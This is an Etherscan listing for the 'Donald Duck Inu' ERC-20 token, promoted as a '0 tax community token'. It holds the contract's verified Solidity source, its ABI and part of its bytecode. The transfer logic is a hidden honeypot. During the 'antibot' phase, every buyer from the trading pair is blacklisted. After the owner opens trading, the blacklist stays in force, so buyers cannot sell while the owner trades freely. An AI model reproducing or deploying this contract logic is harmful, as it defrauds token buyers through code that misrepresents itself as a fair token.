ETH Price: $3,459.78 (+1.21%)

Token

Donald Duck Inu (DONALD)
 

Overview

Max Total Supply

10,000,000,000 DONALD

Holders

35

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 4 Decimals)

Balance
200,000,000 DONALD

Value
$0.00
0x86dbd250f98e0acf1414a399133e6288b9017438
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DONALD

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2022-07-09
*/

// SPDX-License-Identifier: UNLICENSED

/*

https://t.me/donaldduckinu
0 tax community token

*/

pragma solidity ^0.8.12;

library SafeMath {

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
}

interface ERC20 {
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Auth {
    address internal owner;

    constructor(address _owner) {
        owner = _owner;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(address(0));
        owner = address(0);
    }

    event OwnershipTransferred(address owner);
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract DONALD is ERC20, Auth {
    using SafeMath for uint256;

    address immutable WETH;
    address constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address constant ZERO = 0x0000000000000000000000000000000000000000;

    string public constant name = "Donald Duck Inu";
    string public constant symbol = "DONALD";
    uint8 public constant decimals = 4;
    uint256 public constant totalSupply = 10 * 10**9 * 10**decimals;

    uint256 public _maxTxAmount = 2 * totalSupply / 100;
    uint256 public _maxWalletToken = 2 * totalSupply / 100;

    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) _allowances;

    mapping (address => bool) isTxLimitExempt;
    mapping (address => bool) isWalletLimitExempt;

    bool public antibot = true;
    mapping (address => uint) public firstbuy;
    bool public blacklistMode = true;
    mapping (address => bool) public isBlacklisted;

    IDEXRouter public router;
    address public pair;

    constructor () Auth(msg.sender) {
        router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        WETH = router.WETH();

        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
        _allowances[address(this)][address(router)] = type(uint256).max;

        isTxLimitExempt[msg.sender] = true;
        isTxLimitExempt[DEAD] = true;
        isTxLimitExempt[ZERO] = true;

        isWalletLimitExempt[msg.sender] = true;
        isWalletLimitExempt[address(this)] = true;
        isWalletLimitExempt[DEAD] = true;

        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    receive() external payable { }

    function getOwner() external view override returns (address) { return owner; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {

        if(!isOwner(sender) && antibot){
            if(sender == pair){
                if(firstbuy[recipient] == 0){
                    firstbuy[recipient] = block.number;
                }
                blacklist_wallet(recipient,true);
            }

            if(firstbuy[sender] > 0){
                require( firstbuy[sender] > (block.number - 20), "Bought before contract was launched");
            }
        }
        
        if(blacklistMode && !antibot){
            require(!isBlacklisted[sender],"Blacklisted");    
        }

        if (!isOwner(sender) && !isWalletLimitExempt[sender] && !isWalletLimitExempt[recipient] && recipient != pair) {
            require((balanceOf[recipient] + amount) <= _maxWalletToken,"max wallet limit reached");
        }

        require((amount <= _maxTxAmount) || isTxLimitExempt[sender] || isTxLimitExempt[recipient], "TX Limit Exceeded");

        _basicTransfer(sender, recipient, amount);
        return true;
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        balanceOf[sender] = balanceOf[sender].sub(amount, "Insufficient Balance");
        balanceOf[recipient] = balanceOf[recipient] + amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function manage_blacklist_status(bool _status) external onlyOwner {
        blacklistMode = _status;
    }

    function manage_blacklist(address[] calldata addresses, bool status) external onlyOwner {
        for (uint256 i=0; i < addresses.length; ++i) {
            blacklist_wallet(addresses[i],status);
        }
    }

    function blacklist_wallet(address _adr, bool _status) internal {
        if(_status && _adr == address(this)){
            return;
        }
        isBlacklisted[_adr] = _status;
    }

    function tradingOpen() external onlyOwner {
        antibot = false;
    }

    function getCirculatingSupply() public view returns (uint256) {
        return totalSupply.sub(balanceOf[DEAD]).sub(balanceOf[ZERO]);
    }

event AutoLiquify(uint256 amountETH, uint256 amountTokens);

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokens","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"antibot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"blacklistMode","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"firstbuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manage_blacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"}],"name":"manage_blacklist_status","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a060405260646004600a620000169190620008e5565b6402540be40062000028919062000936565b600262000036919062000936565b620000429190620009c6565b60015560646004600a620000579190620008e5565b6402540be40062000069919062000936565b600262000077919062000936565b620000839190620009c6565b6002556001600760006101000a81548160ff0219169083151502179055506001600960006101000a81548160ff021916908315150217905550348015620000c957600080fd5b5033806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050737a250d5630b4cf539739df2c5dacb4c659f2488d600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001cf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001f5919062000a68565b73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000296573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002bc919062000a68565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396608051306040518363ffffffff1660e01b8152600401620002fa92919062000aab565b6020604051808303816000875af11580156200031a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000340919062000a68565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016006600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506004600a620006679190620008e5565b6402540be40062000679919062000936565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004600a6200071c9190620008e5565b6402540be4006200072e919062000936565b6040516200073d919062000ae9565b60405180910390a362000b06565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620007d957808604811115620007b157620007b06200074b565b5b6001851615620007c15780820291505b8081029050620007d1856200077a565b945062000791565b94509492505050565b600082620007f45760019050620008c7565b81620008045760009050620008c7565b81600181146200081d576002811462000828576200085e565b6001915050620008c7565b60ff8411156200083d576200083c6200074b565b5b8360020a9150848211156200085757620008566200074b565b5b50620008c7565b5060208310610133831016604e8410600b8410161715620008985782820a9050838111156200089257620008916200074b565b5b620008c7565b620008a7848484600162000787565b92509050818404811115620008c157620008c06200074b565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620008f282620008ce565b9150620008ff83620008d8565b92506200092e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620007e2565b905092915050565b60006200094382620008ce565b91506200095083620008ce565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200098c576200098b6200074b565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620009d382620008ce565b9150620009e083620008ce565b925082620009f357620009f262000997565b5b828204905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000a308262000a03565b9050919050565b62000a428162000a23565b811462000a4e57600080fd5b50565b60008151905062000a628162000a37565b92915050565b60006020828403121562000a815762000a80620009fe565b5b600062000a918482850162000a51565b91505092915050565b62000aa58162000a23565b82525050565b600060408201905062000ac2600083018562000a9a565b62000ad1602083018462000a9a565b9392505050565b62000ae381620008ce565b82525050565b600060208201905062000b00600083018462000ad8565b92915050565b60805161215262000b1f600039600050506121526000f3fe60806040526004361061016a5760003560e01c8063715018a6116100d157806395d89b411161008a578063dd62ed3e11610064578063dd62ed3e14610563578063f887ea40146105a0578063fe575a87146105cb578063ffb54a991461060857610171565b806395d89b41146104d0578063a8aa1b31146104fb578063a9059cbb1461052657610171565b8063715018a6146103e457806378109e54146103fb5780637d1db4a514610426578063893d20e814610451578063896648c11461047c5780638e2eee84146104a757610171565b80632f54bf6e116101235780632f54bf6e1461029a578063305c4c80146102d7578063313ce56714610302578063571ac8b01461032d5780636d02cc021461036a57806370a08231146103a757610171565b8063034fc0b71461017657806306fdde031461019f578063095ea7b3146101ca57806318160ddd1461020757806323b872dd146102325780632b112e491461026f57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061019d60048036038101906101989190611762565b61061f565b005b3480156101ab57600080fd5b506101b4610684565b6040516101c19190611828565b60405180910390f35b3480156101d657600080fd5b506101f160048036038101906101ec91906118de565b6106bd565b6040516101fe919061192d565b60405180910390f35b34801561021357600080fd5b5061021c6107af565b6040516102299190611957565b60405180910390f35b34801561023e57600080fd5b5061025960048036038101906102549190611972565b6107d0565b604051610266919061192d565b60405180910390f35b34801561027b57600080fd5b506102846109d0565b6040516102919190611957565b60405180910390f35b3480156102a657600080fd5b506102c160048036038101906102bc91906119c5565b610a99565b6040516102ce919061192d565b60405180910390f35b3480156102e357600080fd5b506102ec610af2565b6040516102f9919061192d565b60405180910390f35b34801561030e57600080fd5b50610317610b05565b6040516103249190611a0e565b60405180910390f35b34801561033957600080fd5b50610354600480360381019061034f91906119c5565b610b0a565b604051610361919061192d565b60405180910390f35b34801561037657600080fd5b50610391600480360381019061038c91906119c5565b610b3d565b60405161039e9190611957565b60405180910390f35b3480156103b357600080fd5b506103ce60048036038101906103c991906119c5565b610b55565b6040516103db9190611957565b60405180910390f35b3480156103f057600080fd5b506103f9610b6d565b005b34801561040757600080fd5b50610410610c30565b60405161041d9190611957565b60405180910390f35b34801561043257600080fd5b5061043b610c36565b6040516104489190611957565b60405180910390f35b34801561045d57600080fd5b50610466610c3c565b6040516104739190611a38565b60405180910390f35b34801561048857600080fd5b50610491610c65565b60405161049e919061192d565b60405180910390f35b3480156104b357600080fd5b506104ce60048036038101906104c99190611ab8565b610c78565b005b3480156104dc57600080fd5b506104e5610d16565b6040516104f29190611828565b60405180910390f35b34801561050757600080fd5b50610510610d4f565b60405161051d9190611a38565b60405180910390f35b34801561053257600080fd5b5061054d600480360381019061054891906118de565b610d75565b60405161055a919061192d565b60405180910390f35b34801561056f57600080fd5b5061058a60048036038101906105859190611b18565b610d8a565b6040516105979190611957565b60405180910390f35b3480156105ac57600080fd5b506105b5610e11565b6040516105c29190611bb7565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed91906119c5565b610e37565b6040516105ff919061192d565b60405180910390f35b34801561061457600080fd5b5061061d610e57565b005b61062833610a99565b610667576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065e90611c1e565b60405180910390fd5b80600960006101000a81548160ff02191690831515021790555050565b6040518060400160405280600f81526020017f446f6e616c64204475636b20496e75000000000000000000000000000000000081525081565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161079d9190611957565b60405180910390a36001905092915050565b6004600a6107bd9190611da0565b6402540be4006107cd9190611deb565b81565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146109bc5761093b826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ebc9092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6109c7848484610f20565b90509392505050565b6000610a94600360008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a866003600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546004600a610a689190611da0565b6402540be400610a789190611deb565b61147290919063ffffffff16565b61147290919063ffffffff16565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b600760009054906101000a900460ff1681565b600481565b6000610b36827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6106bd565b9050919050565b60086020528060005260406000206000915090505481565b60036020528060005260406000206000915090505481565b610b7633610a99565b610bb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bac90611c1e565b60405180910390fd5b7f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861636000604051610be59190611a38565b60405180910390a160008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60025481565b60015481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600960009054906101000a900460ff1681565b610c8133610a99565b610cc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb790611c1e565b60405180910390fd5b60005b83839050811015610d1057610cff848483818110610ce457610ce3611e45565b5b9050602002016020810190610cf991906119c5565b836114bc565b80610d0990611e74565b9050610cc3565b50505050565b6040518060400160405280600681526020017f444f4e414c44000000000000000000000000000000000000000000000000000081525081565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610d82338484610f20565b905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a6020528060005260406000206000915054906101000a900460ff1681565b610e6033610a99565b610e9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9690611c1e565b60405180910390fd5b6000600760006101000a81548160ff021916908315150217905550565b6000838311158290610f04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610efb9190611828565b60405180910390fd5b5060008385610f139190611ebc565b9050809150509392505050565b6000610f2b84610a99565b158015610f445750600760009054906101000a900460ff165b1561110d57600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611036576000600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540361102a5743600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6110358360016114bc565b5b6000600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561110c5760144361108b9190611ebc565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541161110b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110290611f62565b60405180910390fd5b5b5b600960009054906101000a900460ff1680156111365750600760009054906101000a900460ff16155b156111c957600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156111c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111bf90611fce565b60405180910390fd5b5b6111d284610a99565b1580156112295750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561127f5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156112d95750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561136e5760025482600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461132c9190611fee565b111561136d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136490612090565b60405180910390fd5b5b600154821115806113c85750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061141c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61145b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611452906120fc565b60405180910390fd5b611466848484611554565b50600190509392505050565b60006114b483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ebc565b905092915050565b8080156114f457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6115505780600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b60006115df826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ebc9092919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d9190611fee565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161170d9190611957565b60405180910390a3600190509392505050565b600080fd5b600080fd5b60008115159050919050565b61173f8161172a565b811461174a57600080fd5b50565b60008135905061175c81611736565b92915050565b60006020828403121561177857611777611720565b5b60006117868482850161174d565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156117c95780820151818401526020810190506117ae565b838111156117d8576000848401525b50505050565b6000601f19601f8301169050919050565b60006117fa8261178f565b611804818561179a565b93506118148185602086016117ab565b61181d816117de565b840191505092915050565b6000602082019050818103600083015261184281846117ef565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006118758261184a565b9050919050565b6118858161186a565b811461189057600080fd5b50565b6000813590506118a28161187c565b92915050565b6000819050919050565b6118bb816118a8565b81146118c657600080fd5b50565b6000813590506118d8816118b2565b92915050565b600080604083850312156118f5576118f4611720565b5b600061190385828601611893565b9250506020611914858286016118c9565b9150509250929050565b6119278161172a565b82525050565b6000602082019050611942600083018461191e565b92915050565b611951816118a8565b82525050565b600060208201905061196c6000830184611948565b92915050565b60008060006060848603121561198b5761198a611720565b5b600061199986828701611893565b93505060206119aa86828701611893565b92505060406119bb868287016118c9565b9150509250925092565b6000602082840312156119db576119da611720565b5b60006119e984828501611893565b91505092915050565b600060ff82169050919050565b611a08816119f2565b82525050565b6000602082019050611a2360008301846119ff565b92915050565b611a328161186a565b82525050565b6000602082019050611a4d6000830184611a29565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f840112611a7857611a77611a53565b5b8235905067ffffffffffffffff811115611a9557611a94611a58565b5b602083019150836020820283011115611ab157611ab0611a5d565b5b9250929050565b600080600060408486031215611ad157611ad0611720565b5b600084013567ffffffffffffffff811115611aef57611aee611725565b5b611afb86828701611a62565b93509350506020611b0e8682870161174d565b9150509250925092565b60008060408385031215611b2f57611b2e611720565b5b6000611b3d85828601611893565b9250506020611b4e85828601611893565b9150509250929050565b6000819050919050565b6000611b7d611b78611b738461184a565b611b58565b61184a565b9050919050565b6000611b8f82611b62565b9050919050565b6000611ba182611b84565b9050919050565b611bb181611b96565b82525050565b6000602082019050611bcc6000830184611ba8565b92915050565b7f214f574e45520000000000000000000000000000000000000000000000000000600082015250565b6000611c0860068361179a565b9150611c1382611bd2565b602082019050919050565b60006020820190508181036000830152611c3781611bfb565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115611cc457808604811115611ca057611c9f611c3e565b5b6001851615611caf5780820291505b8081029050611cbd85611c6d565b9450611c84565b94509492505050565b600082611cdd5760019050611d99565b81611ceb5760009050611d99565b8160018114611d015760028114611d0b57611d3a565b6001915050611d99565b60ff841115611d1d57611d1c611c3e565b5b8360020a915084821115611d3457611d33611c3e565b5b50611d99565b5060208310610133831016604e8410600b8410161715611d6f5782820a905083811115611d6a57611d69611c3e565b5b611d99565b611d7c8484846001611c7a565b92509050818404811115611d9357611d92611c3e565b5b81810290505b9392505050565b6000611dab826118a8565b9150611db6836119f2565b9250611de37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611ccd565b905092915050565b6000611df6826118a8565b9150611e01836118a8565b9250817ffffffffffffffffffffff